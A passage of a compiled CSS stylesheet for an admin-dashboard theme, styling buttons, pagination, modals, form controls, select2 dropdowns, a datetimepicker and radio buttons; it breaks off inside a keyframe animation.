.badge-white {
  background-color: #ffffff; }

.btn .badge {
  padding: 2px 6px; }

.pagination .page-item {
  padding: 5px; }
  .pagination .page-item .page-link {
    outline: initial !important;
    box-shadow: none !important;
    line-height: 18px;
    min-width: 30px;
    text-align: center;
    height: 30px;
    padding: 6px 0px;
    border: none;
    background-color: #eaeaea;
    color: #3e5569;
    border-radius: 30px;
    -webkit-border-radius: 30px;
    -moz-border-radius: 30px; }
    .pagination .page-item .page-link.first, .pagination .page-item .page-link.last {
      color: #ffffff;
      background-color: #3e5569; }
  .pagination .page-item.active .page-link {
    background-color: #007bff;
    color: #ffffff; }

.btn {
  padding: 6px 14px;
  height: 30px;
  font-size: 13px;
  font-weight: 600;
  -moz-transition: 0.3s ease-in-out;
  -o-transition: 0.3s ease-in-out;
  -webkit-transition: 0.3s ease-in-out;
  transition: 0.3s ease-in-out; }
  .btn i {
    margin-right: 5px; }

.btn-icon {
  width: 30px;
  height: 30px;
  padding: 0;
  text-align: center;
  line-height: 32px;
  font-size: 14px;
  display: inline-block;
  border-radius: 50%;
  -webkit-border-radius: 50%;
  -moz-border-radius: 50%;
  -moz-transition: all 0.5s ease-in-out;
  -o-transition: all 0.5s ease-in-out;
  -webkit-transition: all 0.5s ease-in-out;
  transition: all 0.5s ease-in-out; }
  .btn-icon i {
    margin-right: 0 !important; }

.social-btn {
  width: 30px;
  height: 30px;
  padding: 0;
  border-radius: 50%;
  text-align: center;
  line-height: 30px;
  color: #ffffff; }
  .social-btn i {
    margin: 0; }

.btn-primary, .btn-success, .btn-info, .btn-warning, .btn-danger, .btn-inverse, .btn-purple, .btn-pink, .btn-twitter, .btn-facebook, .btn-linkedin, .btn-google, .btn-dribbble, .btn-instagram {
  color: #ffffff; }

.btn-theme {
  background: linear-gradient(150deg, #f05138 15%, #ee3a5b 70%, #ed1375 94%);
  color: #fff; }
.btndefault {
  background-color: #dae6ec;
  border-color: #dae6ec; }
  .btndefault:focus, .btndefault:hover, .btndefault:active, .btndefault.active {
    background-color: #dae6ec;
    border-color: #C2CED4;
    color: #ffffff !important; }
.btn-primary {
  background-color: #007bff;
  border: 1px solid #007bff; }
  .btn-primary:hover, .btn-primary:focus, .btn-primary.active {
    background-color: #006fe6;
    border: 1px solid #006fe6;
    color: #ffffff !important; }
.btn-success {
  background-color: #2dce89;
  border: 1px solid #2dce89; }
  .btn-success:hover, .btn-success:focus, .btn-success.active {
    background-color: #28b97b;
    border: 1px solid #28b97b;
    color: #ffffff !important; }
.btn-info {
  background-color: #11cdef;
  border: 1px solid #11cdef; }
  .btn-info:hover, .btn-info:focus, .btn-info.active {
    background-color: #0fb9d8;
    border: 1px solid #0fb9d8;
    color: #ffffff !important; }
.btn-warning {
  background-color: #fb6340;
  border: 1px solid #fb6340; }
  .btn-warning:hover, .btn-warning:focus, .btn-warning.active {
    background-color: #fa4f27;
    border: 1px solid #fa4f27;
    color: #ffffff !important; }
.btn-danger {
  background-color: #f5365c;
  border: 1px solid #f5365c; }
  .btn-danger:focus, .btn-danger:hover, .btn-danger.active {
    background-color: #f41e48;
    border: 1px solid #f41e48;
    color: #ffffff !important; }
.btn-inverse {
  background-color: #4c5667;
  border: 1px solid #4c5667; }
  .btn-inverse:hover, .btn-inverse:focus, .btn-inverse.active {
    background-color: #414a58;
    border: 1px solid #414a58;
    color: #ffffff !important; }
.btn-purple {
  background-color: #BF55EC;
  border: 1px solid #BF55EC; }
  .btn-purple:hover, .btn-purple:focus, .btn-purple.active {
    background-color: #b63ee9;
    border: 1px solid #b63ee9;
    color: #ffffff !important; }
.btn-pink {
  background-color: #f76397;
  border: 1px solid #f76397; }
  .btn-pink:hover, .btn-pink:focus, .btn-pink.active {
    background-color: #f64b87;
    border: 1px solid #f64b87;
    color: #ffffff !important; }
.btn-facebook {
  background: #3b579d; }
.btn-twitter {
  background: #1da1f2; }
.btn-dribbble {
  background: #ea4c89; }
.btn-linkedin {
  background: #0177b4; }
.btn-google {
  background: #dc4a38; }
.btn-instagram {
  background: #fb3958; }

.template-demo .btn {
  margin-right: 10px;
  margin-bottom: 10px; }

.btn-group .btn {
  margin: 0; }

.full-window-modal .modal-dialog {
  position: fixed;
  width: 100%;
  height: 100%;
  margin: 0;
  max-width: 100%;
  left: 0;
  top: 0;
  bottom: 0;
  display: block; }
  .full-window-modal .modal-dialog .modal-content {
    height: 100vh;
    border: none;
    border-radius: 0;
    -webkit-border-radius: 0;
    -moz-border-radius: 0; }
    .full-window-modal .modal-dialog .modal-content .modal-body {
      height: calc(100vh - 50px);
      overflow-x: auto; }
    .full-window-modal .modal-dialog .modal-content .modal-footer {
      background-color: #393a3d;
      padding: 15px 24px;
      padding-top: 15px !important; }

.modal-open .apps-modal {
  overflow: hidden; }
  .modal-open .apps-modal .close {
    position: absolute;
    top: 20px;
    right: 20px;
    text-shadow: none;
    z-index: 9; }
  .modal-open .apps-modal .modal-dialog {
    width: 100%;
    max-width: 100%;
    border-radius: 0;
    margin: 0; }
    .modal-open .apps-modal .modal-dialog .modal-content {
      border: none;
      border-radius: 0;
      min-height: 100vh;
      background-color: #ffffff; }
      .modal-open .apps-modal .modal-dialog .modal-content .quick-search {
        position: absolute;
        width: 100%;
        top: 17px;
        padding: 0 50px;
        z-index: 9; }
        .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap {
          position: relative; }
          .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap i {
            position: absolute;
            right: 5px;
            top: 0;
            width: 30px;
            height: 35px;
            border-radius: 50%;
            line-height: 35px;
            text-align: center; }
      .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap {
        display: -webkit-box;
        display: -moz-box;
        display: -ms-flexbox;
        display: -webkit-flex;
        display: flex;
        -webkit-flex-flow: row wrap;
        -moz-flex-flow: row wrap;
        -ms-flex-flow: row wrap;
        flex-flow: row wrap;
        -webkit-justify-content: center;
        -moz-justify-content: center;
        -ms-justify-content: center;
        justify-content: center;
        -ms-flex-pack: center;
        width: 100%; }
        .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item {
          width: 130px;
          height: 100px;
          margin: 10px;
          color: #ccc;
          text-align: center;
          display: -webkit-box;
          display: -moz-box;
          display: -ms-flexbox;
          display: -webkit-flex;
          display: flex;
          -webkit-align-items: center;
          -moz-align-items: center;
          -ms-align-items: center;
          align-items: center;
          -webkit-justify-content: center;
          -moz-justify-content: center;
          -ms-justify-content: center;
          justify-content: center;
          -ms-flex-pack: center; }
          .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a {
            display: inline-block; }
            .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a i {
              font-size: 40px;
              color: #3e5569;
              display: inline-block;
              margin-bottom: 10px;
              -moz-transition: all 0.3s ease 0s;
              -o-transition: all 0.3s ease 0s;
              -webkit-transition: all 0.3s ease 0s;
              transition: all 0.3s ease 0s; }
            .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a span {
              display: block;
              font-size: 14px;
              color: #3e5569; }
          .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item:hover i {
            color: #ef4153; }
  .modal-open .apps-modal.fade .modal-dialog {
    overflow: hidden;
    -moz-transform: translate(0, 0) scale(1.2);
    -o-transform: translate(0, 0) scale(1.2);
    -ms-transform: translate(0, 0) scale(1.2);
    -webkit-transform: translate(0, 0) scale(1.2);
    transform: translate(0, 0) scale(1.2); }
  .modal-open .apps-modal.fade.show .modal-dialog {
    -moz-transform: translate(0, 0) scale(1);
    -o-transform: translate(0, 0) scale(1);
    -ms-transform: translate(0, 0) scale(1);
    -webkit-transform: translate(0, 0) scale(1);
    transform: translate(0, 0) scale(1); }

.form-group {
  margin-bottom: 1.25em; }
  .form-group .form-control-lg {
    font-size: 1.25em; }
  .form-group .form-control-round {
    border-radius: 50px; }
  .form-group .form-control-static:focus {
    outline: none; }

.form-control {
  height: auto;
  min-height: 35px;
  border: 1px solid #eaeaea;
  padding: 0 10px;
  background-color: #fff;
  font-size: 13px;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }
  .form-control.placeholder {
    color: #999999; }
  .form-control:-moz-placeholder {
    color: #999999; }
  .form-control::-moz-placeholder {
    color: #999999; }
  .form-control:-ms-input-placeholder {
    color: #999999; }
  .form-control::-webkit-input-placeholder {
    color: #999999; }
  .form-control:focus {
    border-color: #e2dfdf;
    -webkit-box-shadow: none;
    box-shadow: none; }
  .form-control.form-control-normal {
    font-weight: 400; }
  .form-control.form-control-bold {
    font-weight: 700; }
  .form-control.form-control-capitalize {
    text-transform: capitalize; }
  .form-control.form-control-uppercase {
    text-transform: uppercase; }
  .form-control.form-control-lowercase {
    text-transform: lowercase; }
  .form-control.form-control-variant {
    font-variant: small-caps; }
  .form-control.form-control-left {
    text-align: left; }
  .form-control.form-control-center {
    text-align: center; }
  .form-control.form-control-right {
    text-align: right; }
  .form-control.form-control-rtl {
    direction: rtl; }
  .form-control:disabled {
    cursor: not-allowed;
    opacity: 0.5; }

select.form-control {
  -webkit-appearance: none;
  -moz-appearance: none;
  appearance: none;
  padding-right: 20px;
  background-image: url("../img/down-arrow.svg");
  background-position: center right 15px;
  background-repeat: no-repeat;
  -webkit-background-size: 10px;
  background-size: 10px;
  height: 35px !important; }

textarea.form-control {
  padding: 10px 15px;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }

.custom-radio .custom-control-label {
  line-height: 24px; }

.custom-checkbox .custom-control-label {
  line-height: 24px; }
.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after {
  background-image: none;
  content: "\e83f";
  line-height: 16px;
  font-family: 'iconkit';
  color: #fff; }

.custom-control-label {
  text-align: center; }

.input-group .input-group-prepend .input-group-text {
  border-top-left-radius: 4px;
  border-bottom-left-radius: 4px;
  background-color: #eaeaea;
  border-color: #eaeaea;
  padding-left: 15px;
  height: 35px;
  font-size: 14px; }
.input-group .input-group-prepend .btn {
  height: 35px;
  border-top-left-radius: 4px;
  border-bottom-left-radius: 4px; }
.input-group .input-group-append .input-group-text {
  border-top-right-radius: 4px;
  border-bottom-right-radius: 4px;
  background-color: #eaeaea;
  border-color: #eaeaea;
  padding-right: 15px;
  height: 35px;
  font-size: 14px; }
.input-group .input-group-append .btn {
  height: 35px;
  border-top-right-radius: 4px;
  border-bottom-right-radius: 4px; }

.form-group .file-upload-default {
  visibility: hidden;
  position: absolute; }
.form-group .file-upload-info {
  background: transparent; }

.select2.select2-container--default .select2-selection--single {
  border-color: #eaeaea;
  height: 35px;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }
  .select2.select2-container--default .select2-selection--single .select2-selection__rendered {
    line-height: 35px;
    padding-left: 15px;
    padding-right: 30px; }
  .select2.select2-container--default .select2-selection--single .select2-selection__arrow {
    height: 33px;
    right: 8px; }
.select2.select2-container--default .select2-selection--multiple {
  border-color: #eaeaea; }
  .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered {
    margin-top: 1px; }
    .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered .select2-selection__choice {
      border: none;
      padding: 1px 5px; }
.select2.select2-container--default.select2-container--focus .select2-selection--multiple {
  border-color: #8e8e8e; }
.select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple {
  border-bottom-left-radius: 4px;
  border-bottom-right-radius: 4px; }
.select2.select2-container .select2-selection--multiple {
  min-height: 35px; }

.select2-container--default .select2-dropdown {
  background-color: #ffffff;
  border: none;
  border-radius: 6px;
  -webkit-border-radius: 6px;
  -moz-border-radius: 6px;
  -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
  -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
  box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); }
  .select2-container--default .select2-dropdown .select2-search--dropdown {
    padding: 5px; }
    .select2-container--default .select2-dropdown .select2-search--dropdown .select2-search__field {
      height: 30px;
      border: none;
      background-color: #eaeaea;
      padding: 5px 10px;
      border-radius: 4px;
      -webkit-border-radius: 4px;
      -moz-border-radius: 4px; }
  .select2-container--default .select2-dropdown .select2-results .select2-results__options {
    padding: 5px; }

.select2-results__option {
  background-color: #fff;
  padding: 8px 15px;
  border-radius: 4px;
  line-height: 14px; }

.bootstrap-datetimepicker-widget .table thead {
  background-color: transparent; }
  .bootstrap-datetimepicker-widget .table thead tr th {
    color: #212121;
    border-radius: 6px;
    -webkit-border-radius: 6px;
    -moz-border-radius: 6px; }
.bootstrap-datetimepicker-widget .table tr td, .bootstrap-datetimepicker-widget .table tr th {
  text-align: center;
  width: 35px;
  height: 35px;
  border-radius: 50%;
  border: none;
  line-height: 35px;
  position: relative;
  z-index: 1; }
.bootstrap-datetimepicker-widget .table tr td.today, .bootstrap-datetimepicker-widget .table tr td.active {
  color: #ffffff;
  position: relative;
  z-index: 1;
  background-color: transparent;
  text-shadow: none; }
  .bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before, .bootstrap-datetimepicker-widget .table tr td.active:before, .bootstrap-datetimepicker-widget .table tr td.active::before {
    width: 30px;
    height: 30px;
    border-radius: 50%;
    border: none;
    background-color: #4a5361;
    position: absolute;
    z-index: -1;
    display: block;
    margin: auto;
    content: '';
    top: 6px;
    left: 0px;
    right: 0px;
    bottom: auto;
    -moz-transform: scale(1);
    -o-transform: scale(1);
    -ms-transform: scale(1);
    -webkit-transform: scale(1);
    transform: scale(1); }
.bootstrap-datetimepicker-widget .table tr td.active:hover:before, .bootstrap-datetimepicker-widget .table tr td.active:hover::before {
  background-color: #4a5361 !important; }
.bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before {
  background-color: #ef4153; }
.bootstrap-datetimepicker-widget .table tr td.day:hover, .bootstrap-datetimepicker-widget .table tr td.hour:hover, .bootstrap-datetimepicker-widget .table tr td.minute:hover, .bootstrap-datetimepicker-widget .table tr td.second:hover {
  background-color: transparent; }
.bootstrap-datetimepicker-widget .table tr td:before, .bootstrap-datetimepicker-widget .table tr td::before {
  width: 30px;
  height: 30px;
  border-radius: 50%;
  border: none;
  background-color: transparent;
  position: absolute;
  z-index: -1;
  display: block;
  margin: auto;
  content: '';
  top: 6px;
  left: 0px;
  right: 0px;
  bottom: auto;
  -moz-transform: scale(0);
  -o-transform: scale(0);
  -ms-transform: scale(0);
  -webkit-transform: scale(0);
  transform: scale(0);
  -moz-transition: 0.3s ease-in-out;
  -o-transition: 0.3s ease-in-out;
  -webkit-transition: 0.3s ease-in-out;
  transition: 0.3s ease-in-out; }
.bootstrap-datetimepicker-widget .table tr td:hover:before, .bootstrap-datetimepicker-widget .table tr td:hover::before {
  background-color: #f4f4f4;
  -moz-transform: scale(1);
  -o-transform: scale(1);
  -ms-transform: scale(1);
  -webkit-transform: scale(1);
  transform: scale(1); }
.bootstrap-datetimepicker-widget .timepicker table td {
  position: relative;
  z-index: 1;
  width: 35px;
  height: 35px;
  line-height: 35px; }
  .bootstrap-datetimepicker-widget .timepicker table td .btn {
    height: auto; }
  .bootstrap-datetimepicker-widget .timepicker table td span {
    width: 35px;
    height: 35px;
    line-height: 35px; }
.bootstrap-datetimepicker-widget.dropdown-menu {
  min-width: 280px; }
  .bootstrap-datetimepicker-widget.dropdown-menu.bottom:before, .bootstrap-datetimepicker-widget.dropdown-menu.bottom::before {
    border-bottom-color: #fff; }
  .bootstrap-datetimepicker-widget.dropdown-menu.top:before, .bootstrap-datetimepicker-widget.dropdown-menu.top::before {
    border-top-color: #fff; }
  .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr th, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td {
    width: 30px;
    height: 30px;
    line-height: 30px; }
  .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td::before {
    top: 4px;
    left: 0px; }
  .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today::before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active::before {
    top: 4px;
    left: 0px; }

.bootstrap-tagsinput {
  display: block;
  border: 1px solid #eaeaea;
  min-height: 35px;
  padding: 0px 10px;
  padding-top: 4px;
  -webkit-box-shadow: none;
  -moz-box-shadow: none;
  box-shadow: none; }
  .bootstrap-tagsinput .tag {
    padding: 1px 5px;
    margin-right: 2px;
    margin-bottom: 4px;
    display: inline-block;
    text-transform: capitalize;
    border-radius: 4px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    background-color: #4c5667; }

.note-editor.note-frame.card {
  -webkit-box-shadow: none;
  -moz-box-shadow: none;
  box-shadow: none; }

.input-group {
  margin-bottom: 1.25em; }

.form-control-primary {
  border-color: #007bff;
  color: #007bff; }
  .form-control-primary:focus {
    border-color: #007bff; }

.input-group-primary .input-group-append .input-group-text,
.input-group-primary .input-group-prepend .input-group-text {
  background-color: #007bff;
  border-color: #007bff;
  color: #ffffff; }
.input-group-primary .form-control {
  border-color: #007bff; }

.form-control-warning {
  border-color: #fb6340;
  color: #fb6340; }
  .form-control-warning:focus {
    border-color: #fb6340; }

.input-group-warning .input-group-append .input-group-text,
.input-group-warning .input-group-prepend .input-group-text {
  background-color: #fb6340;
  border-color: #fb6340;
  color: #ffffff; }
.input-group-warning .form-control {
  border-color: #fb6340; }

.form-control-default {
  border-color: #d6d6d6;
  color: #d6d6d6; }
  .form-control-default:focus {
    border-color: #d6d6d6; }

.input-group-default .input-group-append .input-group-text,
.input-group-default .input-group-prepend .input-group-text {
  background-color: #d6d6d6;
  border-color: #d6d6d6;
  color: #ffffff; }
.input-group-default .form-control {
  border-color: #d6d6d6; }

.form-control-danger {
  border-color: #f5365c;
  color: #f5365c; }
  .form-control-danger:focus {
    border-color: #f5365c; }

.input-group-danger .input-group-append .input-group-text,
.input-group-danger .input-group-prepend .input-group-text {
  background-color: #f5365c;
  border-color: #f5365c;
  color: #ffffff; }
.input-group-danger .form-control {
  border-color: #f5365c; }

.form-control-success {
  border-color: #2dce89;
  color: #2dce89; }
  .form-control-success:focus {
    border-color: #2dce89; }

.input-group-success .input-group-append .input-group-text,
.input-group-success .input-group-prepend .input-group-text {
  background-color: #2dce89;
  border-color: #2dce89;
  color: #ffffff; }
.input-group-success .form-control {
  border-color: #2dce89; }

.form-control-inverse {
  border-color: #4c5667;
  color: #4c5667; }
  .form-control-inverse:focus {
    border-color: #4c5667; }

.input-group-inverse .input-group-append .input-group-text,
.input-group-inverse .input-group-prepend .input-group-text {
  background-color: #4c5667;
  border-color: #4c5667;
  color: #ffffff; }
.input-group-inverse .form-control {
  border-color: #4c5667; }

.form-control-info {
  border-color: #11cdef;
  color: #11cdef; }
  .form-control-info:focus {
    border-color: #11cdef; }

.input-group-info .input-group-append .input-group-text,
.input-group-info .input-group-prepend .input-group-text {
  background-color: #11cdef;
  border-color: #11cdef;
  color: #ffffff; }
.input-group-info .form-control {
  border-color: #11cdef; }

.form-txt-primary {
  color: #007bff; }
  .form-txt-primary:focus {
    color: #007bff; }
  .form-txt-primary::-moz-placeholder {
    color: #007bff;
    opacity: 1; }
  .form-txt-primary:-ms-input-placeholder {
    color: #007bff; }
  .form-txt-primary::-webkit-input-placeholder {
    color: #007bff; }

.form-txt-warning {
  color: #fb6340; }
  .form-txt-warning:focus {
    color: #fb6340; }
  .form-txt-warning::-moz-placeholder {
    color: #fb6340;
    opacity: 1; }
  .form-txt-warning:-ms-input-placeholder {
    color: #fb6340; }
  .form-txt-warning::-webkit-input-placeholder {
    color: #fb6340; }

.form-txt-default {
  color: #d6d6d6; }
  .form-txt-default:focus {
    color: #d6d6d6; }
  .form-txt-default::-moz-placeholder {
    color: #d6d6d6;
    opacity: 1; }
  .form-txt-default:-ms-input-placeholder {
    color: #d6d6d6; }
  .form-txt-default::-webkit-input-placeholder {
    color: #d6d6d6; }

.form-txt-danger {
  color: #f5365c; }
  .form-txt-danger:focus {
    color: #f5365c; }
  .form-txt-danger::-moz-placeholder {
    color: #f5365c;
    opacity: 1; }
  .form-txt-danger:-ms-input-placeholder {
    color: #f5365c; }
  .form-txt-danger::-webkit-input-placeholder {
    color: #f5365c; }

.form-txt-success {
  color: #2dce89; }
  .form-txt-success:focus {
    color: #2dce89; }
  .form-txt-success::-moz-placeholder {
    color: #2dce89;
    opacity: 1; }
  .form-txt-success:-ms-input-placeholder {
    color: #2dce89; }
  .form-txt-success::-webkit-input-placeholder {
    color: #2dce89; }

.form-txt-inverse {
  color: #4c5667; }
  .form-txt-inverse:focus {
    color: #4c5667; }
  .form-txt-inverse::-moz-placeholder {
    color: #4c5667;
    opacity: 1; }
  .form-txt-inverse:-ms-input-placeholder {
    color: #4c5667; }
  .form-txt-inverse::-webkit-input-placeholder {
    color: #4c5667; }

.form-txt-info {
  color: #11cdef; }
  .form-txt-info:focus {
    color: #11cdef; }
  .form-txt-info::-moz-placeholder {
    color: #11cdef;
    opacity: 1; }
  .form-txt-info:-ms-input-placeholder {
    color: #11cdef; }
  .form-txt-info::-webkit-input-placeholder {
    color: #11cdef; }

.form-bg-primary {
  background-color: #007bff;
  border-color: #007bff;
  color: #fff; }
  .form-bg-primary:focus {
    background-color: #007bff;
    border-color: #007bff;
    color: #fff; }
  .form-bg-primary::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-primary:-ms-input-placeholder {
    color: #fff; }
  .form-bg-primary::-webkit-input-placeholder {
    color: #fff; }

.form-bg-warning {
  background-color: #fb6340;
  border-color: #fb6340;
  color: #fff; }
  .form-bg-warning:focus {
    background-color: #fb6340;
    border-color: #fb6340;
    color: #fff; }
  .form-bg-warning::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-warning:-ms-input-placeholder {
    color: #fff; }
  .form-bg-warning::-webkit-input-placeholder {
    color: #fff; }

.form-bg-default {
  background-color: #d6d6d6;
  border-color: #d6d6d6;
  color: #fff; }
  .form-bg-default:focus {
    background-color: #d6d6d6;
    border-color: #d6d6d6;
    color: #fff; }
  .form-bg-default::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-default:-ms-input-placeholder {
    color: #fff; }
  .form-bg-default::-webkit-input-placeholder {
    color: #fff; }

.form-bg-danger {
  background-color: #f5365c;
  border-color: #f5365c;
  color: #fff; }
  .form-bg-danger:focus {
    background-color: #f5365c;
    border-color: #f5365c;
    color: #fff; }
  .form-bg-danger::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-danger:-ms-input-placeholder {
    color: #fff; }
  .form-bg-danger::-webkit-input-placeholder {
    color: #fff; }

.form-bg-success {
  background-color: #2dce89;
  border-color: #2dce89;
  color: #fff; }
  .form-bg-success:focus {
    background-color: #2dce89;
    border-color: #2dce89;
    color: #fff; }
  .form-bg-success::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-success:-ms-input-placeholder {
    color: #fff; }
  .form-bg-success::-webkit-input-placeholder {
    color: #fff; }

.form-bg-inverse {
  background-color: #4c5667;
  border-color: #4c5667;
  color: #fff; }
  .form-bg-inverse:focus {
    background-color: #4c5667;
    border-color: #4c5667;
    color: #fff; }
  .form-bg-inverse::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-inverse:-ms-input-placeholder {
    color: #fff; }
  .form-bg-inverse::-webkit-input-placeholder {
    color: #fff; }

.form-bg-info {
  background-color: #11cdef;
  border-color: #11cdef;
  color: #fff; }
  .form-bg-info:focus {
    background-color: #11cdef;
    border-color: #11cdef;
    color: #fff; }
  .form-bg-info::-moz-placeholder {
    color: #fff;
    opacity: 1; }
  .form-bg-info:-ms-input-placeholder {
    color: #fff; }
  .form-bg-info::-webkit-input-placeholder {
    color: #fff; }

.form-radio {
  position: relative; }
  .form-radio .form-help {
    position: absolute;
    width: 100%; }
  .form-radio label {
    position: relative;
    padding-left: 1.5rem;
    text-align: left;
    color: #333;
    display: block;
    line-height: 1.8; }
  .form-radio input {
    width: auto;
    opacity: 0.00000001;
    position: absolute;
    left: 0; }

.radio .helper {
  position: absolute;
  top: -0.25rem;
  left: -0.25rem;
  cursor: pointer;
  display: block;
  font-size: 1rem;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  color: #999; }
  .radio .helper::after {
    transform: scale(0);
    background-color: #007bff;
    border-color: #007bff; }
  .radio .helper::after, .radio .helper::before {
    content: '';
    position: absolute;
    left: 0;
    top: 3px;
    margin: 0.25rem;
    width: 1rem;
    height: 1rem;
    -webkit-transition: -webkit-transform 0.28s ease;
    transition: -webkit-transform 0.28s ease;
    transition: transform 0.28s ease, -webkit-transform 0.28s ease;
    border-radius: 50%;
    border: 0.125rem solid #007bff; }
.radio label:hover .helper {
  color: #007bff; }
.radio input:checked ~ .helper::after {
  transform: scale(0.5); }
.radio input:checked ~ .helper::before {
  color: #007bff;
  animation: ripple 0.3s linear forwards; }
.radio.radiofill input:checked ~ .helper::after {
  transform: scale(1); }
.radio.radiofill .helper::after {
  background-color: #007bff; }
.radio.radio-outline input:checked ~ .helper::after {
  transform: scale(0.6); }
.radio.radio-outline .helper::after {
  background-color: #fff;
  border: 0.225rem solid #007bff; }
.radio.radio-matrial input ~ .helper::after {
  background-color: #fff; }
.radio.radio-matrial input:checked ~ .helper::after {
  transform: scale(0.5);
  box-shadow: 0 1px 7px -1px rgba(0, 0, 0, 0.72); }
.radio.radio-matrial input:checked ~ .helper::before {
  background-color: #007bff; }
.radio.radio-disable {
  opacity: 0.7; }
  .radio.radio-disable label {
    cursor: not-allowed; }

.radio-inline {
  display: inline-block;
  margin-right: 20px; }

.radio.radio-primary .helper::after {
  background-color: #007bff;
  border-color: #007bff; }
.radio.radio-primary .helper::before {
  border-color: #007bff; }
.radio.radio-outline.radio-primary .helper::after {
  background-color: #fff;
  border: 0.225rem solid #007bff; }
.radio.radio-outline.radio-primary .helper::before {
  border-color: #007bff; }
.radio.radio-matrial.radio-primary input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-primary input ~ .helper::before {
  background-color: #007bff;
  border-color: #007bff; }

.radio.radio-warning .helper::after {
  background-color: #fb6340;
  border-color: #fb6340; }
.radio.radio-warning .helper::before {
  border-color: #fb6340; }
.radio.radio-outline.radio-warning .helper::after {
  background-color: #fff;
  border: 0.225rem solid #fb6340; }
.radio.radio-outline.radio-warning .helper::before {
  border-color: #fb6340; }
.radio.radio-matrial.radio-warning input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-warning input ~ .helper::before {
  background-color: #fb6340;
  border-color: #fb6340; }

.radio.radio-default .helper::after {
  background-color: #d6d6d6;
  border-color: #d6d6d6; }
.radio.radio-default .helper::before {
  border-color: #d6d6d6; }
.radio.radio-outline.radio-default .helper::after {
  background-color: #fff;
  border: 0.225rem solid #d6d6d6; }
.radio.radio-outline.radio-default .helper::before {
  border-color: #d6d6d6; }
.radio.radio-matrial.radio-default input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-default input ~ .helper::before {
  background-color: #d6d6d6;
  border-color: #d6d6d6; }

.radio.radio-danger .helper::after {
  background-color: #f5365c;
  border-color: #f5365c; }
.radio.radio-danger .helper::before {
  border-color: #f5365c; }
.radio.radio-outline.radio-danger .helper::after {
  background-color: #fff;
  border: 0.225rem solid #f5365c; }
.radio.radio-outline.radio-danger .helper::before {
  border-color: #f5365c; }
.radio.radio-matrial.radio-danger input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-danger input ~ .helper::before {
  background-color: #f5365c;
  border-color: #f5365c; }

.radio.radio-success .helper::after {
  background-color: #2dce89;
  border-color: #2dce89; }
.radio.radio-success .helper::before {
  border-color: #2dce89; }
.radio.radio-outline.radio-success .helper::after {
  background-color: #fff;
  border: 0.225rem solid #2dce89; }
.radio.radio-outline.radio-success .helper::before {
  border-color: #2dce89; }
.radio.radio-matrial.radio-success input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-success input ~ .helper::before {
  background-color: #2dce89;
  border-color: #2dce89; }

.radio.radio-inverse .helper::after {
  background-color: #4c5667;
  border-color: #4c5667; }
.radio.radio-inverse .helper::before {
  border-color: #4c5667; }
.radio.radio-outline.radio-inverse .helper::after {
  background-color: #fff;
  border: 0.225rem solid #4c5667; }
.radio.radio-outline.radio-inverse .helper::before {
  border-color: #4c5667; }
.radio.radio-matrial.radio-inverse input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-inverse input ~ .helper::before {
  background-color: #4c5667;
  border-color: #4c5667; }

.radio.radio-info .helper::after {
  background-color: #11cdef;
  border-color: #11cdef; }
.radio.radio-info .helper::before {
  border-color: #11cdef; }
.radio.radio-outline.radio-info .helper::after {
  background-color: #fff;
  border: 0.225rem solid #11cdef; }
.radio.radio-outline.radio-info .helper::before {
  border-color: #11cdef; }
.radio.radio-matrial.radio-info input ~ .helper::after {
  background-color: #fff;
  border-color: #fff; }
.radio.radio-matrial.radio-info input ~ .helper::before {
  background-color: #11cdef;
  border-color: #11cdef; }

@keyframes ripple {
  0% {
    box-shadow: 0 0 0 1px rgba(0, 0, 0, 0); }
  50% {
    box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.05); }
  100% {
